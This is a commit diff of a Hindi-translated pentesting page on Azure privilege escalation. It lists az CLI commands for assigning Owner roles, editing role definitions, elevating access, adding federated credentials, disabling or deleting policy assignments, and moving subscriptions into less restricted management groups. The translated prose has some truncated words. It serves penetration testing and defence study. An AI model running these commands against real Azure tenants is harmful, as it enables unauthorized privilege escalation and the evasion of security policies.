Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:48:05 +00:00
parent 4614446e0d
commit f0a4c05bb4

View File

@@ -12,16 +12,16 @@
### Microsoft.Authorization/roleAssignments/write
यह अनुमति विशेष दायरे में प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति देत है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है:
यह permission किसी विशेष scope पर principals को roles असाइन करने की अनुमति देत है, जिससे attacker खुद को अधिक privileged role असाइन करके privileges escalate कर सकता है:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
यह अनुमति एक भूमिका द्वारा दी गई अनुमतियों को संशोधित करने की अनुमति देत है, जिससे एक हमलावर को अधिक अनुमतियाँ देने के द्वारा विशेषाधिकार बढ़ाने की अनुमति मिलती है ज उसने असाइन की है।
यह Microsoft.Authorization/roleDefinitions/Write permission किसी role को दिए गए permissions को संशोधित करने की अनुमति देत है, जिससे एक attacker उस role को और अधिक permissions देकर privileges escalate कर सकता है जिसे उसने assign किया हुआ है।
फाइल `role.json` निम्नलिखित **सामग्री** के साथ बनाएं:
Create the file `role.json` with the following **content**:
```json
{
"roleName": "<name of the role>",
@@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
फिर पिछल परिभाषा को कॉल करहुए भूमिका अनुमतियों को अपडेट करें:
फिर पिछल परिभाषा को कॉल करrole permissions अपडेट करें:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
यह अनुमति विशेषाधिकार बढ़ाने और किसी भी प्रिंसिपल को Azure संसाधनों पर अनुमतियाँ सौंपने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंध कर सकें।
यह permission विशेषाधिकार बढ़ाने और किसी भी principal को Azure resources पर permissions असाइन करने में सक्षम बनाता है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure resources पर permissions भी प्रबंधित कर सकें।
> [!TIP]
> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए।
> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entrad ID में Global Administrator होना चाहिए।
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुँच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुँचने की अनुमति देत है।
यह अनुमति managed identities में Federated credentials जोड़ने की अनुमति देती है। उदाहरण के लिए, किसी repo में Github Actions को एक managed identity को एक्सेस देने के लिए। इससे यह **किसी भी उपयोगकर्ता-परिभाषित managed identity तक पहुंच** की अनुमति देत है।
Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुँच देने के लिए उदाहरण कमांड:
Github के एक repo को किसी managed identity को एक्सेस देने के लिए उदाहरण कमांड:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
यदि किसी attacker के पास `Microsoft.Authorization/policyAssignments/write` या `Microsoft.Authorization/policyAssignments/delete` अनुमति किसी management group, subscription, या resource group पर है, तो वह **Azure policy assignments को संशोधित या हटाना** कर सकता है, जिससे संभावित रूप से उन विशिष्ट ऑपरेशनों को रोकने वाले **सुरक्षा प्रतिबंधों को निष्क्रिय किया जा सकता है**
इससे पहले नीति द्वारा संरक्षित संसाधनों या फंक्शनैलिटी तक पहुंच संभव हो जाती है।
**नीति असाइनमेंट हटाएँ:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**एक policy assignment अक्षम करें:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**परिवर्तनों की पुष्टि करें:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
An attacker के पास `Microsoft.Authorization/policyDefinitions/write` permission होने पर वह **Azure नीति परिभाषाओं को संशोधित कर सकता है**, जिससे पूरे वातावरण में सुरक्षा प्रतिबंधों को नियंत्रित करने वाले नियम बदल जाते हैं।
उदाहरण के लिए, कोई नीति जो संसाधन बनाने के लिए अनुमत क्षेत्रों को सीमित करती है, उसे यह बदलकर किसी भी क्षेत्र की अनुमति देने वाला बनाया जा सकता है, या नीति प्रभाव बदलकर उसे अप्रभावी किया जा सकता है।
**नीति परिभाषा संशोधित करें:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**परिवर्तनों की पुष्टि करें:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
`Microsoft.Management/managementGroups/write` अनुमति वाले हमलावर **management groups की पदानुक्रमिक संरचना को बदल सकता है** या **नए management groups बना सकता है**, जिससे ऊपरी स्तरों पर लागू सख्त नीतियों से बचा जा सकता है।
उदाहरण के लिए, हमलावर बिना सख्त नीतियों के एक नया management group बना सकता है और फिर subscriptions को उसमें स्थानांतरित कर सकता है।
**नया management group बनाएं:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**प्रबंधन समूह के पदानुक्रम को संशोधित करें:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**परिवर्तनों की पुष्टि करें:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
इस अनुमति `Microsoft.Management/managementGroups/subscriptions/write` वाले हमलावर के पास **subscriptions को management groups के बीच move करने** की क्षमता होती है, जिससे वह एक subscription को कम प्रतिबंधात्मक या बिना नीतियों वाले ग्रुप में स्थानांतरित करके संभावित रूप से **प्रतिबंधात्मक नीतियों से बच सकता है**
**किसी subscription को किसी दूसरे management group में स्थानांतरित करें:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**परिवर्तनों को सत्यापित करें:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}